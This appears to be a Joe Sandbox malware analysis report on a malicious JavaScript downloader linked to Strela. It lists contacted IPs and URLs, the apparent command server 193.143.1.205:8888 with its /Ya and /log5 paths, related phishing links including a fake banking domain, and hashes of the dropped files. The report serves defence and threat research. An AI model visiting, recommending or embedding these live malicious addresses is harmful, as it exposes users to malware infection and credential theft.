Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Ya	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/log5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
e8652.dscx.akamaiedge.net	23.209.209.135	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3331489065.000001C54A400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2109721456.000001C54A280000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/Ya	net.exe, 00000007.00000002.2110817748.00000266C63AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2110817748.00000266C63AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/log5	net.exe, 00000007.00000002.2110817748.00000266C6378000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.209.209.135	e8652.dscx.akamaiedge.net	United States		23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592545
Start date and time:	2025-01-16 09:16:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	27328249893052310101.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/39@1/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 50.16.47.176, 20.12.23.50, 13.107.246.45, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:16:58	API Interceptor	24x Sleep call for process: powershell.exe modified
03:17:02	API Interceptor	1x Sleep call for process: net.exe modified
03:17:02	API Interceptor	2x Sleep call for process: svchost.exe modified
03:17:09	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.209.209.135	Debh Payment Detail.html	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	2M and OPS Cobot White Paper 01082025 TM CH (1).docx	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	http://pdfdrive.com.co	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	https://form.fillout.com/t/emEtLm993dus	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	https://www.tremendous.com/email/activate/yE_yBdRtyVv4Xqgg7hu_	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	https://lap.gnoqwwhpwe.ru/3aeK/#Dmestevao@iif.com	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	https://bofa.com-onlinebanking.com/XUjhZMU0zUjZ5aGd6UDcrVXphQlM3REhqSnRiYmJRdDFWRFQvTXlWOEI4SVFWU1lnMmdOV3J2dzcrYlBXU2FRMzNGenI3ZlZ3Z296ZUJrN3lDMEZoTFFDTUg4NUcvRmcwZmVEQnk1bUo1UHRTczJhb2FrZitRWXpWUHZTd2F6VzlKdmhsNU51TU1DR3F3SFY5OWk0OEpxaWtndjZDcDVoVkdJTGlLenlTTjdyOHpTUDRia3pYeHRXWW4zSTRrdFZsMVlUWXNrY0RhbzZsR0wrTXpoVmt	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
	http://11ofus.ca	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
193.143.1.205	1647911459241874440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21033090848109083.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31070304561863532281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1736977840835b9184f01bf0b6c60ce50d66e7897e18892b3f9e56b6303ef4929b2a1c05b2796.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	199.232.214.172
	009.vbe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	Mystery_Check.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	199.232.210.172
	g6lWBM64S4.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	1647911459241874440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	0430tely.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Order.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	Order.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	hNgIvHRuTU.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	ACH REMITTANCE DOCUMENT 15.01.25.xlsb	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	39.199.146.74
	bot.m68k.elf	Get hash	malicious	Unknown	Browse	39.199.171.36
	bot.arm.elf	Get hash	malicious	Unknown	Browse	39.241.125.138
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	39.237.82.53
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	114.121.33.91
	x86_64.elf	Get hash	malicious	Mirai	Browse	39.223.252.9
	178.215.238.129-x86-2025-01-15T04_59_51.elf	Get hash	malicious	Mirai	Browse	39.199.171.22
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	39.239.155.57
	email.eml	Get hash	malicious	unknown	Browse	23.209.209.135
	arm4.elf	Get hash	malicious	Unknown	Browse	182.10.241.37

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307200583569608
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugN:gJjJGtpTq2yv1AuNZRY3diu8iBVqFL
MD5:	79080CF2C38E6CF5DC090E981FE9C594
SHA1:	F7C106A063331B1D3058A105975667DF8D1D23D6
SHA-256:	68329B99E32C9FE09D3C25B097F53A53A5CF40DAE893BF88BD4732F4F15948B1
SHA-512:	0C0B93259BEEA3155862B3609C29A0454CDF459DE8B17EFB36A302DEE797615539380D4526E32FE8D63F229A3F02149FCCA08B8190A0659D71E68A5D8D32AC4D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x71772b00, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658552231350203
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	03720111D1657730B6A0A0CD4F6335F6
SHA1:	475C52157DEAF9E75A4E97DDB9DE89D07D6A4261
SHA-256:	8DE051412E3035C5070E8F61840238213DA8BF37263D2D466DEF2C475C2E610B
SHA-512:	F30F1F5FCD56AEEC69CC7E81EC96F86AC16A8515E3375E9F30EA4A8F4326D6B427BA6EFBCEDBBF6A627AE5F91DFBC500ADD19A158036DA4524889A33F5402116
Malicious:	false
Preview:	qw+.... ...............X\...;...{......................0.z..........{.......}i.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................;.....}..................U*......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0803424688716291
Encrypted:	false
SSDEEP:	3:w0/yYeQ4u1vekGuAJkhvekl140EYelYllrekGltll/SPj:wUyzKtrxl9AeJe3l
MD5:	AFAE40085946699E7B17571314E7ACA6
SHA1:	CE87486F6F071FE30C9B6C1C969B2FA11A151E55
SHA-256:	C26EFAA82F2D3C4A1740C7C56D40654E93F3529B23E8C480F6CF57762E0324D2
SHA-512:	9B04D22C6A04F4A33B3501FE15D94BDAA90AF1903A2745DFD0D214C10041B25FCFFC8B59A17306B2C73FE4A45B3207F6D4D084562DA14185CEF1690F72AE806D
Malicious:	false
Preview:	u........................................;...{.......}.......{...............{.......{...XL......{...................U*......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1812991151320755
Encrypted:	false
SSDEEP:	6:iO+oeK+q2P92nKuAl9OmbnIFUtUoenAeZZmwqoenAeNVkwO92nKuAl9OmbjLJ:7+oEv4HAahFUtUoyAeZ/qoyAez5LHAae
MD5:	8DE7C6C5605352A64FCCB87DD914D588
SHA1:	3FEBBA50BB58ADF8ECA80F6D01355C5328AEC689
SHA-256:	A98265294ACEF66AF96BDA80BA74DDFA538366F8C5D63AFB4CE012A52F22F553
SHA-512:	087D8BA2898BDC785B41FEDAEABFEF78664B24DE4DDB92E05CCC8188E320B358CF2C276E74628C71215BF9A5E852D5A5A4650FD15BC0790372D61BF6768A194F
Malicious:	false
Preview:	2025/01/16-03:17:02.383 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-03:17:02.386 1ec8 Recovering log #3.2025/01/16-03:17:02.386 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1812991151320755
Encrypted:	false
SSDEEP:	6:iO+oeK+q2P92nKuAl9OmbnIFUtUoenAeZZmwqoenAeNVkwO92nKuAl9OmbjLJ:7+oEv4HAahFUtUoyAeZ/qoyAez5LHAae
MD5:	8DE7C6C5605352A64FCCB87DD914D588
SHA1:	3FEBBA50BB58ADF8ECA80F6D01355C5328AEC689
SHA-256:	A98265294ACEF66AF96BDA80BA74DDFA538366F8C5D63AFB4CE012A52F22F553
SHA-512:	087D8BA2898BDC785B41FEDAEABFEF78664B24DE4DDB92E05CCC8188E320B358CF2C276E74628C71215BF9A5E852D5A5A4650FD15BC0790372D61BF6768A194F
Malicious:	false
Preview:	2025/01/16-03:17:02.383 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-03:17:02.386 1ec8 Recovering log #3.2025/01/16-03:17:02.386 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.164509064249881
Encrypted:	false
SSDEEP:	6:iO+oezFKVN4q2P92nKuAl9Ombzo2jMGIFUtUoeOUXNJZmwqoeODkwO92nKuAl9OU:7+o1VOv4HAa8uFUtUo9Un/qod5LHAa8z
MD5:	1B226794A05139EE37FFB48B657BCD4B
SHA1:	3D0D262DEEC681C2C4F47D0E1E0D706EF3BE0C63
SHA-256:	28C29BC0BA476726A0A8B5608DE1CEA832B5CC53D206214041F28A5E9F22FCD4
SHA-512:	D2BAB9C9AEF8F47F603F7776D9FADF86B0A8D468F9F87AE47CF9C8798EEF3AE831267905FA2DBA23AA816EEA790AA1801FFBE8F9150E3D80370F2B7790431851
Malicious:	false
Preview:	2025/01/16-03:17:02.538 1fd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-03:17:02.540 1fd0 Recovering log #3.2025/01/16-03:17:02.541 1fd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.164509064249881
Encrypted:	false
SSDEEP:	6:iO+oezFKVN4q2P92nKuAl9Ombzo2jMGIFUtUoeOUXNJZmwqoeODkwO92nKuAl9OU:7+o1VOv4HAa8uFUtUo9Un/qod5LHAa8z
MD5:	1B226794A05139EE37FFB48B657BCD4B
SHA1:	3D0D262DEEC681C2C4F47D0E1E0D706EF3BE0C63
SHA-256:	28C29BC0BA476726A0A8B5608DE1CEA832B5CC53D206214041F28A5E9F22FCD4
SHA-512:	D2BAB9C9AEF8F47F603F7776D9FADF86B0A8D468F9F87AE47CF9C8798EEF3AE831267905FA2DBA23AA816EEA790AA1801FFBE8F9150E3D80370F2B7790431851
Malicious:	false
Preview:	2025/01/16-03:17:02.538 1fd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-03:17:02.540 1fd0 Recovering log #3.2025/01/16-03:17:02.541 1fd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.060002644764628
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqX4EhsBdOg2HJAcaq3QYiubxnP7E4T3OF+:Y2sRds0fydMHJr3QYhbxP7nbI+
MD5:	5582E5AB1A7C3C0FD4BFD496614790A4
SHA1:	78C7B328651B84B0C0D0F9BAF49ED284F8FAB8AB
SHA-256:	BA9F1EDEA040E27A0A1353496D76398DB212CD26320E430A9249F9F90C4E2587
SHA-512:	D95262840D375AF96C4B0BB3D76A940F82CFC4DE748314AF08B8838628E14D61EB3D70643AA2F1D672BE8AA1BC050C0647B393B953836D83FF3BA6AF2F5AE69F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381575434079256","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138420},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fcf3c1a8-c6f6-4eda-b755-2c2c4166db6f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.060002644764628
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqX4EhsBdOg2HJAcaq3QYiubxnP7E4T3OF+:Y2sRds0fydMHJr3QYhbxP7nbI+
MD5:	5582E5AB1A7C3C0FD4BFD496614790A4
SHA1:	78C7B328651B84B0C0D0F9BAF49ED284F8FAB8AB
SHA-256:	BA9F1EDEA040E27A0A1353496D76398DB212CD26320E430A9249F9F90C4E2587
SHA-512:	D95262840D375AF96C4B0BB3D76A940F82CFC4DE748314AF08B8838628E14D61EB3D70643AA2F1D672BE8AA1BC050C0647B393B953836D83FF3BA6AF2F5AE69F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381575434079256","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138420},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.228034249319478
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUppAj2:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLQ
MD5:	6D932AC8BA0C6B2EDD2E9888450618E7
SHA1:	B553B1AFD2F92E6F9451BB4B48CC2660AEBB24DB
SHA-256:	A54D85BDB9D9504FA11A0034F37C673754677252AA26DCD00E8157CCC1521B89
SHA-512:	F34793233F70D78D3A251C141F17DC16B92781CB21827834C72A420217E3C23D51D8F6D098836D956F1E8A0161158006FC5F101E82B36B7FD64172591CA64284
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1806240928633
Encrypted:	false
SSDEEP:	6:iO+oeU4q2P92nKuAl9OmbzNMxIFUtUoe+XJZmwqoeKNDkwO92nKuAl9OmbzNMFLJ:7+osv4HAa8jFUtUov/qoFF5LHAa84J
MD5:	7CE0CA28983C58266A1B8509323B5147
SHA1:	8C8FFC86E94369CD40E094E439DD0B519C7C092E
SHA-256:	9BD332BA93AC381D1E21DD96B2AA2A3CEF86B18ED22F3CA3BC5258C76426C538
SHA-512:	E8EAD6C42D921BFBDFCEA0C6485A7F89E0439D085D4E7A3360D1BBBD23829000D9C3F5F50068230FA57A4C70E9120891465A679DCF5E79E580BE725C55F56345
Malicious:	false
Preview:	2025/01/16-03:17:02.842 1fd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-03:17:02.871 1fd0 Recovering log #3.2025/01/16-03:17:02.882 1fd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1806240928633
Encrypted:	false
SSDEEP:	6:iO+oeU4q2P92nKuAl9OmbzNMxIFUtUoe+XJZmwqoeKNDkwO92nKuAl9OmbzNMFLJ:7+osv4HAa8jFUtUov/qoFF5LHAa84J
MD5:	7CE0CA28983C58266A1B8509323B5147
SHA1:	8C8FFC86E94369CD40E094E439DD0B519C7C092E
SHA-256:	9BD332BA93AC381D1E21DD96B2AA2A3CEF86B18ED22F3CA3BC5258C76426C538
SHA-512:	E8EAD6C42D921BFBDFCEA0C6485A7F89E0439D085D4E7A3360D1BBBD23829000D9C3F5F50068230FA57A4C70E9120891465A679DCF5E79E580BE725C55F56345
Malicious:	false
Preview:	2025/01/16-03:17:02.842 1fd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-03:17:02.871 1fd0 Recovering log #3.2025/01/16-03:17:02.882 1fd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
